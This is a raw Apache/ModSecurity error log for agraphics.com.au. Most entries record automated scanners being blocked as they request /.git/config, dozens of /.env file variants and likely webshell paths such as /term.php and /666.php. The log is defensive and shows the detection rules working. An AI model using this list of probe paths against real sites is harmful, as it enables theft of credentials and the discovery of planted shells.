[Sat Apr 25 04:01:13.624963 2026] [proxy_fcgi:error] [pid 44320:tid 44362] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:13.896120 2026] [proxy_fcgi:error] [pid 44320:tid 44356] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:14.166337 2026] [proxy_fcgi:error] [pid 44320:tid 44371] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:14.596410 2026] [proxy_fcgi:error] [pid 44320:tid 44367] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:14.886371 2026] [proxy_fcgi:error] [pid 44320:tid 44366] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:15.159079 2026] [proxy_fcgi:error] [pid 44320:tid 44368] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:15.429658 2026] [proxy_fcgi:error] [pid 44320:tid 44374] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:15.702340 2026] [proxy_fcgi:error] [pid 44320:tid 44379] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:29:55.368738 2026] [:error] [pid 46083:tid 46099] [client 13.40.104.59:50800] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aev88zxw_Zq74vWdjmlS2wAAAQw"]
[Sat Apr 25 07:29:56.595757 2026] [:error] [pid 46083:tid 46098] [client 13.40.104.59:50802] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aev89Dxw_Zq74vWdjmlS3wAAAQs"]
[Sat Apr 25 07:29:57.575355 2026] [:error] [pid 46083:tid 46109] [client 13.40.104.59:47882] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aev89Txw_Zq74vWdjmlS5gAAARU"]
[Sat Apr 25 07:29:58.554998 2026] [:error] [pid 46083:tid 46090] [client 13.40.104.59:47892] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aev89jxw_Zq74vWdjmlS6wAAAQM"]
[Sat Apr 25 07:29:59.533135 2026] [:error] [pid 46083:tid 46112] [client 13.40.104.59:47902] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "aev89zxw_Zq74vWdjmlS8AAAARg"]
[Sat Apr 25 07:30:00.511538 2026] [:error] [pid 46083:tid 46111] [client 13.40.104.59:47914] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aev8-Dxw_Zq74vWdjmlS8wAAARc"]
[Sat Apr 25 07:30:01.490742 2026] [:error] [pid 46083:tid 46109] [client 13.40.104.59:47918] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "aev8-Txw_Zq74vWdjmlS9QAAARU"]
[Sat Apr 25 07:30:02.478446 2026] [:error] [pid 44320:tid 44372] [client 13.40.104.59:47930] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aev8-jmFqSpku_dij8iDQAAAAFA"]
[Sat Apr 25 07:30:03.452844 2026] [:error] [pid 46083:tid 46112] [client 13.40.104.59:47938] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aev8-zxw_Zq74vWdjmlS-wAAARg"]
[Sat Apr 25 07:30:04.435444 2026] [:error] [pid 46083:tid 46101] [client 13.40.104.59:47952] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aev8_Dxw_Zq74vWdjmlS_QAAAQ4"]
[Sat Apr 25 07:30:05.414520 2026] [:error] [pid 46083:tid 46099] [client 13.40.104.59:47958] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aev8_Txw_Zq74vWdjmlS_wAAAQw"]
[Sat Apr 25 07:30:06.391768 2026] [:error] [pid 46083:tid 46105] [client 13.40.104.59:47974] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aev8_jxw_Zq74vWdjmlTAQAAARI"]
[Sat Apr 25 07:30:07.370041 2026] [:error] [pid 46083:tid 46104] [client 13.40.104.59:45954] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "aev8_zxw_Zq74vWdjmlTAwAAARE"]
[Sat Apr 25 07:30:08.351610 2026] [:error] [pid 44425:tid 44429] [client 13.40.104.59:45962] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aev9ACUl-VlItvY2tR8hvAAAAMI"]
[Sat Apr 25 07:30:09.325886 2026] [:error] [pid 44321:tid 44399] [client 13.40.104.59:45964] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "aev9AY1b5lV-asWa_Y46ogAAAJA"]
[Sat Apr 25 07:30:10.308764 2026] [:error] [pid 46083:tid 46096] [client 13.40.104.59:45976] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "aev9Ajxw_Zq74vWdjmlTDQAAAQk"]
[Sat Apr 25 07:30:11.289812 2026] [:error] [pid 46083:tid 46093] [client 13.40.104.59:45982] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.stage"] [unique_id "aev9Azxw_Zq74vWdjmlTEgAAAQY"]
[Sat Apr 25 07:30:12.262595 2026] [:error] [pid 46083:tid 46112] [client 13.40.104.59:45986] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.ci"] [unique_id "aev9BDxw_Zq74vWdjmlTFwAAARg"]
[Sat Apr 25 07:30:13.242270 2026] [:error] [pid 46083:tid 46103] [client 13.40.104.59:45988] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "aev9BTxw_Zq74vWdjmlTGgAAARA"]
[Sat Apr 25 07:30:14.222577 2026] [:error] [pid 46083:tid 46090] [client 13.40.104.59:45996] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.live"] [unique_id "aev9Bjxw_Zq74vWdjmlTIAAAAQM"]
[Sat Apr 25 07:30:15.203663 2026] [:error] [pid 44425:tid 44451] [client 13.40.104.59:46012] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.preprod"] [unique_id "aev9ByUl-VlItvY2tR8hwQAAANg"]
[Sat Apr 25 07:30:16.182069 2026] [:error] [pid 44321:tid 44383] [client 13.40.104.59:46024] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.uat"] [unique_id "aev9CI1b5lV-asWa_Y46pQAAAIA"]
[Sat Apr 25 07:30:17.175977 2026] [:error] [pid 46083:tid 46096] [client 13.40.104.59:55634] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "aev9CTxw_Zq74vWdjmlTKwAAAQk"]
[Sat Apr 25 07:30:18.154126 2026] [:error] [pid 44425:tid 44441] [client 13.40.104.59:55642] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "aev9CiUl-VlItvY2tR8hyAAAAM4"]
[Sat Apr 25 07:30:19.130619 2026] [:error] [pid 44320:tid 44368] [client 13.40.104.59:55656] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "aev9CzmFqSpku_dij8iDRwAAAEw"]
[Sat Apr 25 07:30:20.110339 2026] [:error] [pid 46083:tid 46099] [client 13.40.104.59:55658] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "aev9DDxw_Zq74vWdjmlTMAAAAQw"]
[Sat Apr 25 07:30:21.095837 2026] [:error] [pid 44425:tid 44436] [client 13.40.104.59:55674] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/apps/.env"] [unique_id "aev9DSUl-VlItvY2tR8hzwAAAMk"]
[Sat Apr 25 07:30:22.080361 2026] [:error] [pid 46083:tid 46102] [client 13.40.104.59:55678] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aev9Djxw_Zq74vWdjmlTNQAAAQ8"]
[Sat Apr 25 07:30:23.059274 2026] [:error] [pid 46083:tid 46111] [client 13.40.104.59:55694] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "aev9Dzxw_Zq74vWdjmlTOgAAARc"]
[Sat Apr 25 07:30:24.036442 2026] [:error] [pid 46083:tid 46109] [client 13.40.104.59:55708] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "aev9EDxw_Zq74vWdjmlTPgAAARU"]
[Sat Apr 25 07:30:25.013492 2026] [:error] [pid 46083:tid 46111] [client 13.40.104.59:55710] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "aev9ETxw_Zq74vWdjmlTQAAAARc"]
[Sat Apr 25 07:30:26.012763 2026] [:error] [pid 44425:tid 44438] [client 13.40.104.59:55720] [client 13.40.104.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "aev9EiUl-VlItvY2tR8h0gAAAMs"]
[Sat Apr 25 07:39:55.513993 2026] [proxy_fcgi:error] [pid 44320:tid 44376] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:55.630785 2026] [proxy_fcgi:error] [pid 44320:tid 44368] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:55.866613 2026] [proxy_fcgi:error] [pid 44320:tid 44365] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:55.983174 2026] [proxy_fcgi:error] [pid 44320:tid 44379] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:56.216220 2026] [proxy_fcgi:error] [pid 44320:tid 44366] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:56.339211 2026] [proxy_fcgi:error] [pid 44320:tid 44377] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:56.457468 2026] [proxy_fcgi:error] [pid 44320:tid 44364] [client 20.46.120.13:3436] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 07:39:56.804828 2026] [:error] [pid 44320:tid 44357] [client 20.46.120.13:3436] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aev_TDmFqSpku_dij8iEsAAAAEE"]
[Sat Apr 25 07:39:57.303174 2026] [:error] [pid 46083:tid 46097] [client 20.46.120.13:3400] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aev_TTxw_Zq74vWdjmlX2gAAAQo"]
[Sat Apr 25 07:39:57.769037 2026] [:error] [pid 46083:tid 46090] [client 20.46.120.13:3420] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aev_TTxw_Zq74vWdjmlX3AAAAQM"]
[Sat Apr 25 07:39:58.256993 2026] [:error] [pid 44321:tid 44383] [client 20.46.120.13:3413] [client 20.46.120.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "aev_To1b5lV-asWa_Y48hQAAAIA"]
[Sat Apr 25 08:04:59.049293 2026] [proxy_fcgi:error] [pid 44425:tid 44441] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:04:59.313849 2026] [proxy_fcgi:error] [pid 44425:tid 44445] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:04:59.584151 2026] [proxy_fcgi:error] [pid 44425:tid 44449] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:04:59.849728 2026] [proxy_fcgi:error] [pid 44425:tid 44438] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:05:00.124147 2026] [proxy_fcgi:error] [pid 44425:tid 44436] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:05:00.388431 2026] [proxy_fcgi:error] [pid 44425:tid 44442] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:05:00.937100 2026] [proxy_fcgi:error] [pid 44425:tid 44432] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:05:01.211012 2026] [proxy_fcgi:error] [pid 44425:tid 44434] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:05:01.476063 2026] [proxy_fcgi:error] [pid 44425:tid 44448] [client 20.100.197.186:53611] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 08:05:01.736113 2026] [:error] [pid 44425:tid 44431] [client 20.100.197.186:53611] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aewFLSUl-VlItvY2tR8s5AAAAMQ"]
[Sat Apr 25 08:05:03.577364 2026] [:error] [pid 46083:tid 46111] [client 20.100.197.186:11703] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aewFLzxw_Zq74vWdjmljtgAAARc"]
[Sat Apr 25 08:05:06.168432 2026] [:error] [pid 44320:tid 44378] [client 20.100.197.186:5352] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aewFMjmFqSpku_dij8iIHwAAAFY"]
[Sat Apr 25 08:05:07.478396 2026] [:error] [pid 46083:tid 46105] [client 20.100.197.186:42838] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aewFMzxw_Zq74vWdjmljuwAAARI"]
[Sat Apr 25 08:05:09.118014 2026] [:error] [pid 46083:tid 46109] [client 20.100.197.186:38620] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "aewFNTxw_Zq74vWdjmljvgAAARU"]
[Sat Apr 25 08:05:10.568757 2026] [:error] [pid 44321:tid 44392] [client 20.100.197.186:38605] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "aewFNo1b5lV-asWa_Y5BjwAAAIk"]
[Sat Apr 25 08:05:11.465410 2026] [:error] [pid 44425:tid 44438] [client 20.100.197.186:5677] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "aewFNyUl-VlItvY2tR8s6AAAAMs"]
[Sat Apr 25 08:05:14.462430 2026] [:error] [pid 46083:tid 46107] [client 20.100.197.186:26798] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/term.php"] [unique_id "aewFOjxw_Zq74vWdjmljyAAAARM"]
[Sat Apr 25 08:05:16.110694 2026] [:error] [pid 46083:tid 46104] [client 20.100.197.186:32467] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aewFPDxw_Zq74vWdjmljzQAAARE"]
[Sat Apr 25 08:05:19.396372 2026] [:error] [pid 46083:tid 46099] [client 20.100.197.186:38593] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aewFPzxw_Zq74vWdjmlj0gAAAQw"]
[Sat Apr 25 08:05:20.746547 2026] [:error] [pid 44319:tid 44337] [client 20.100.197.186:7845] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aewFQMzJPAVLUb2pWtJjegAAAAg"]
[Sat Apr 25 08:05:21.766052 2026] [:error] [pid 46083:tid 46090] [client 20.100.197.186:41125] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aewFQTxw_Zq74vWdjmlj1AAAAQM"]
[Sat Apr 25 08:05:22.456893 2026] [:error] [pid 46083:tid 46103] [client 20.100.197.186:50950] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "aewFQjxw_Zq74vWdjmlj1gAAARA"]
[Sat Apr 25 08:05:23.607498 2026] [:error] [pid 44320:tid 44360] [client 20.100.197.186:65480] [client 20.100.197.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "aewFQzmFqSpku_dij8iIIQAAAEQ"]
